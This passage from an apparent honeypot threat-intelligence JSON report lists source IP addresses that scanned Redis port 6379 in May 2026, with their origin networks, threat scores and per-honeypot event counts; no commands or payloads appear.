      "threat_score": 23.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 23.8,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 240,
        "days_active_30d": 1,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 7,
        "first_seen_30d": "2026-05-11T08:33:18+00:00",
        "last_seen_30d": "2026-05-11T08:35:01.369000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Suricata": 137,
        "Honeytrap": 57,
        "Cowrie": 22,
        "ConPot": 10,
        "Redishoneypot": 6,
        "Ciscoasa": 5,
        "Dionaea": 3
      }
    },
    "66.132.186.183": {
      "attack_count": 12,
      "first_seen": "2026-05-30T02:44:54.000Z",
      "last_seen": "2026-05-30T02:45:55.320Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 92.9,
      "threat_level": "critical",
      "score_components": {
        "frequency": 22.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 196,
        "days_active_30d": 30,
        "ports_targeted_30d": 43,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-02T03:22:50+00:00",
        "last_seen_30d": "2026-05-31T15:05:46.334000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 119,
        "Honeytrap": 53,
        "Ciscoasa": 6,
        "ConPot": 6,
        "Redishoneypot": 6,
        "ElasticPot": 4,
        "Dionaea": 1,
        "Sentrypeer": 1
      }
    },
    "121.40.174.104": {
      "attack_count": 11,
      "first_seen": "2026-05-15T10:49:41.000Z",
      "last_seen": "2026-05-15T10:50:47.595Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T10:49:41+00:00",
        "last_seen_30d": "2026-05-15T10:50:47.595000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "45.112.138.30": {
      "attack_count": 11,
      "first_seen": "2026-05-10T21:10:04.000Z",
      "last_seen": "2026-05-19T20:16:31.019Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 24309,
      "as_org": "Atria Convergence Technologies Pvt. Ltd. Broadband Internet Service Provider INDIA",
      "threat_score": 11.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 3.0,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 2,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-10T21:11:30.819000+00:00",
        "last_seen_30d": "2026-05-19T20:16:31.019000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 2
      }
    },
    "178.83.200.3": {
      "attack_count": 10,
      "first_seen": "2026-05-13T04:11:07.000Z",
      "last_seen": "2026-05-15T08:52:09.065Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United Kingdom",
      "country_code": "GB",
      "city": null,
      "asn": 212238,
      "as_org": "Datacamp Limited",
      "threat_score": 37.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.1,
        "persistence": 15.0,
        "diversity": 20,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 64,
        "days_active_30d": 18,
        "ports_targeted_30d": 42,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T04:26:57.278000+00:00",
        "last_seen_30d": "2026-05-19T12:09:22.037000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Suricata": 63,
        "Honeytrap": 1
      }
    },
    "198.235.24.228": {
      "attack_count": 10,
      "first_seen": "2026-05-15T03:12:05.000Z",
      "last_seen": "2026-05-15T03:13:42.505Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 116,
        "days_active_30d": 30,
        "ports_targeted_30d": 35,
        "honeypots_triggered_30d": 6,
        "first_seen_30d": "2026-05-02T04:46:09.838000+00:00",
        "last_seen_30d": "2026-05-31T01:43:22.379000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 80,
        "Honeytrap": 27,
        "Dionaea": 3,
        "Redishoneypot": 3,
        "Cowrie": 2,
        "Tanner": 1
      }
    },
    "45.148.9.8": {
      "attack_count": 10,
      "first_seen": "2026-05-03T02:15:05.000Z",
      "last_seen": "2026-05-18T01:52:16.547Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Dallas",
      "asn": 47890,
      "as_org": "Unmanaged Ltd",
      "threat_score": 50.5,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 14.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 257524,
        "days_active_30d": 17,
        "ports_targeted_30d": 68301,
        "honeypots_triggered_30d": 8,
        "first_seen_30d": "2026-05-02T00:00:15.897000+00:00",
        "last_seen_30d": "2026-05-18T05:15:09.157000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Suricata": 182568,
        "Cowrie": 74037,
        "Honeytrap": 912,
        "Sentrypeer": 3,
        "Ciscoasa": 1,
        "H0neytr4p": 1,
        "Honeyaml": 1,
        "Tanner": 1
      }
    },
    "109.105.209.2": {
      "attack_count": 9,
      "first_seen": "2026-05-21T04:19:06.000Z",
      "last_seen": "2026-05-21T04:20:08.824Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Portugal",
      "country_code": "PT",
      "city": null,
      "asn": 21859,
      "as_org": "Zenlayer Inc",
      "threat_score": 62.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.5,
        "persistence": 20.0,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 113,
        "days_active_30d": 24,
        "ports_targeted_30d": 11,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-03T23:12:46+00:00",
        "last_seen_30d": "2026-05-26T03:43:21.026000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Suricata": 63,
        "Honeytrap": 47,
        "Redishoneypot": 3
      }
    },
    "147.185.132.123": {
      "attack_count": 9,
      "first_seen": "2026-05-16T02:07:14.000Z",
      "last_seen": "2026-05-16T02:08:50.719Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 90.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 20.0,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 99,
        "days_active_30d": 30,
        "ports_targeted_30d": 32,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T23:14:21+00:00",
        "last_seen_30d": "2026-05-31T19:01:22.572000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 71,
        "Honeytrap": 21,
        "Redishoneypot": 3,
        "ConPot": 2,
        "Dionaea": 2
      }
    },
    "147.185.132.49": {
      "attack_count": 9,
      "first_seen": "2026-05-26T01:19:20.000Z",
      "last_seen": "2026-05-26T01:20:55.399Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 88.1,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.0,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 79,
        "days_active_30d": 29,
        "ports_targeted_30d": 25,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-03T04:46:17.555000+00:00",
        "last_seen_30d": "2026-05-31T23:34:38.324000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 54,
        "Honeytrap": 19,
        "Redishoneypot": 3,
        "ConPot": 2,
        "Ciscoasa": 1
      }
    },
    "157.245.55.57": {
      "attack_count": 9,
      "first_seen": "2026-05-09T04:45:39.000Z",
      "last_seen": "2026-05-09T04:46:41.705Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T04:45:40+00:00",
        "last_seen_30d": "2026-05-09T04:46:41.705000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "180.95.231.18": {
      "attack_count": 9,
      "first_seen": "2026-05-23T11:56:09.000Z",
      "last_seen": "2026-05-23T11:57:13.549Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 22.0,
      "threat_level": "low",
      "score_components": {
        "frequency": 8.5,
        "persistence": 2.5,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 3,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-21T10:57:57+00:00",
        "last_seen_30d": "2026-05-23T11:57:13.549000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 3,
        "Honeytrap": 1
      }
    },
    "45.143.167.96": {
      "attack_count": 9,
      "first_seen": "2026-05-09T06:14:13.000Z",
      "last_seen": "2026-05-09T06:15:20.672Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 62005,
      "as_org": "BlueVPS OU",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T06:14:14+00:00",
        "last_seen_30d": "2026-05-09T06:15:20.672000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 3,
        "Suricata": 1
      }
    },
    "81.29.142.50": {
      "attack_count": 9,
      "first_seen": "2026-05-02T11:22:13.000Z",
      "last_seen": "2026-05-05T13:07:03.682Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Russia",
      "country_code": "RU",
      "city": null,
      "asn": 210259,
      "as_org": "LLC Applied Computational Technologies",
      "threat_score": 10.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.4,
        "persistence": 5.0,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 139,
        "days_active_30d": 6,
        "ports_targeted_30d": 81,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T01:24:43.833000+00:00",
        "last_seen_30d": "2026-05-07T17:01:02.440000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 139
      }
    },
    "172.105.169.180": {
      "attack_count": 8,
      "first_seen": "2026-05-21T03:43:31.000Z",
      "last_seen": "2026-05-21T03:44:37.912Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 50.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 2875,
        "days_active_30d": 1,
        "ports_targeted_30d": 1509,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-05-21T03:43:10+00:00",
        "last_seen_30d": "2026-05-21T03:53:38.288000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1521,
        "Honeytrap": 1323,
        "Dionaea": 9,
        "ConPot": 8,
        "Cowrie": 4,
        "Miniprint": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "Redishoneypot": 2,
        "Sentrypeer": 1
      }
    },
    "175.30.48.161": {
      "attack_count": 8,
      "first_seen": "2026-05-02T13:01:28.000Z",
      "last_seen": "2026-05-02T13:11:40.376Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T13:01:30+00:00",
        "last_seen_30d": "2026-05-02T13:11:40.376000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Redishoneypot": 2,
        "Suricata": 1
      }
    },
    "192.46.221.9": {
      "attack_count": 8,
      "first_seen": "2026-05-21T03:47:52.000Z",
      "last_seen": "2026-05-21T03:49:01.634Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 50.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.67
      },
      "reputation_metrics": {
        "total_events_30d": 2877,
        "days_active_30d": 1,
        "ports_targeted_30d": 1509,
        "honeypots_triggered_30d": 10,
        "first_seen_30d": "2026-05-21T03:47:28+00:00",
        "last_seen_30d": "2026-05-21T03:58:08.044000+00:00",
        "days_since_last_seen": 10
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1523,
        "Honeytrap": 1323,
        "Dionaea": 9,
        "ConPot": 8,
        "Cowrie": 4,
        "Miniprint": 3,
        "Adbhoney": 2,
        "Dicompot": 2,
        "Redishoneypot": 2,
        "Sentrypeer": 1
      }
    },
    "167.172.39.154": {
      "attack_count": 7,
      "first_seen": "2026-05-23T10:12:30.000Z",
      "last_seen": "2026-05-23T10:13:31.240Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "The Netherlands",
      "country_code": "NL",
      "city": "Amsterdam",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 55.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 152633,
        "days_active_30d": 1,
        "ports_targeted_30d": 64908,
        "honeypots_triggered_30d": 13,
        "first_seen_30d": "2026-05-23T10:08:25.706000+00:00",
        "last_seen_30d": "2026-05-23T10:23:33.078000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 130574,
        "Honeytrap": 21999,
        "Cowrie": 12,
        "Mailoney": 12,
        "ConPot": 10,
        "Dionaea": 9,
        "Miniprint": 8,
        "Adbhoney": 2,
        "Dicompot": 2,
        "Honeyaml": 1,
        "Medpot": 1,
        "Tanner": 1
      }
    },
    "47.106.209.180": {
      "attack_count": 7,
      "first_seen": "2026-05-12T10:45:13.000Z",
      "last_seen": "2026-05-12T10:46:19.497Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shenzhen",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 11.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 14,
        "spread": 5,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-12T10:44:33.673000+00:00",
        "last_seen_30d": "2026-05-12T10:46:29.428000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14
      }
    },
    "118.25.55.202": {
      "attack_count": 6,
      "first_seen": "2026-05-29T06:10:13.000Z",
      "last_seen": "2026-05-29T06:11:15.646Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-29T06:11:15.646000+00:00",
        "last_seen_30d": "2026-05-29T06:11:15.646000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "146.190.216.125": {
      "attack_count": 6,
      "first_seen": "2026-05-06T23:02:40.000Z",
      "last_seen": "2026-05-06T23:04:20.945Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 2,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-06T18:15:17.869000+00:00",
        "last_seen_30d": "2026-05-07T19:14:30.757000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Suricata": 28
      }
    },
    "66.132.186.250": {
      "attack_count": 6,
      "first_seen": "2026-05-12T23:15:25.000Z",
      "last_seen": "2026-05-12T23:16:34.186Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398324,
      "as_org": "Censys, Inc.",
      "threat_score": 79.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 84,
        "days_active_30d": 30,
        "ports_targeted_30d": 67,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T20:23:55.964000+00:00",
        "last_seen_30d": "2026-05-31T21:17:44.015000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 82,
        "ConPot": 1,
        "Sentrypeer": 1
      }
    },
    "134.175.236.180": {
      "attack_count": 5,
      "first_seen": "2026-05-29T09:48:58.000Z",
      "last_seen": "2026-05-29T09:50:00.929Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guangzhou",
      "asn": 45090,
      "as_org": "Shenzhen Tencent Computer Systems Company Limited",
      "threat_score": 7.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-29T09:50:00.929000+00:00",
        "last_seen_30d": "2026-05-29T09:50:00.929000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "134.209.112.87": {
      "attack_count": 5,
      "first_seen": "2026-05-15T19:50:57.000Z",
      "last_seen": "2026-05-15T19:52:33.942Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 18.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.5,
        "persistence": 0.8,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 28,
        "days_active_30d": 1,
        "ports_targeted_30d": 28,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-15T01:26:32.796000+00:00",
        "last_seen_30d": "2026-05-15T20:46:55.549000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 28
      }
    },
    "143.42.164.97": {
      "attack_count": 5,
      "first_seen": "2026-05-21T12:52:56.000Z",
      "last_seen": "2026-05-21T12:54:02.103Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Fremont",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 72.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 22.9,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 193,
        "days_active_30d": 30,
        "ports_targeted_30d": 180,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T09:11:41.995000+00:00",
        "last_seen_30d": "2026-05-31T12:11:23.819000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 193
      }
    },
    "161.35.10.162": {
      "attack_count": 5,
      "first_seen": "2026-05-27T17:39:43.000Z",
      "last_seen": "2026-05-27T17:41:18.094Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "North Bergen",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 37.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 14.6,
        "persistence": 1.7,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 29,
        "days_active_30d": 2,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-27T12:47:17.868000+00:00",
        "last_seen_30d": "2026-05-28T13:31:20.378000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 29
      }
    },
    "173.255.223.89": {
      "attack_count": 5,
      "first_seen": "2026-05-06T12:48:36.000Z",
      "last_seen": "2026-05-06T12:49:36.894Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Fremont",
      "asn": 63949,
      "as_org": "Akamai Connected Cloud",
      "threat_score": 73.2,
      "threat_level": "high",
      "score_components": {
        "frequency": 23.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 207,
        "days_active_30d": 30,
        "ports_targeted_30d": 181,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-02T07:52:45.063000+00:00",
        "last_seen_30d": "2026-05-31T22:01:40.611000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 207
      }
    },
    "175.6.54.250": {
      "attack_count": 5,
      "first_seen": "2026-05-23T18:08:15.000Z",
      "last_seen": "2026-05-23T18:09:26.914Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Shanghai",
      "asn": 63835,
      "as_org": "No.293,Wanbao Avenue",
      "threat_score": 34.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.6,
        "persistence": 5.8,
        "diversity": 20,
        "spread": 5,
        "recency_factor": 0.8
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 7,
        "ports_targeted_30d": 17,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-19T04:42:02.503000+00:00",
        "last_seen_30d": "2026-05-25T23:08:18.690000+00:00",
        "days_since_last_seen": 6
      },
      "honeypot_breakdown_30d": {
        "Suricata": 18
      }
    },
    "220.167.232.246": {
      "attack_count": 5,
      "first_seen": "2026-05-20T22:37:51.000Z",
      "last_seen": "2026-05-20T22:39:27.674Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 140061,
      "as_org": "Qinghai Telecom",
      "threat_score": 5.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-20T22:39:27.674000+00:00",
        "last_seen_30d": "2026-05-20T22:39:27.674000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "47.238.66.204": {
      "attack_count": 5,
      "first_seen": "2026-05-15T14:36:14.000Z",
      "last_seen": "2026-05-15T14:37:16.391Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": "Hong Kong",
      "asn": 45102,
      "as_org": "Alibaba US Technology Co., Ltd.",
      "threat_score": 3.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 0.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 5,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 1,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 1,
        "first_seen_30d": "2026-05-15T14:37:16.391000+00:00",
        "last_seen_30d": "2026-05-15T14:37:16.391000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1
      }
    },
    "47.96.248.61": {
      "attack_count": 5,
      "first_seen": "2026-05-02T12:41:44.000Z",
      "last_seen": "2026-05-02T12:42:53.560Z",
      "sessions": 0,
      "ports": [
        6379
      ],
      "commands_executed": [],
      "attack_types": [
        "scanning"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 37963,
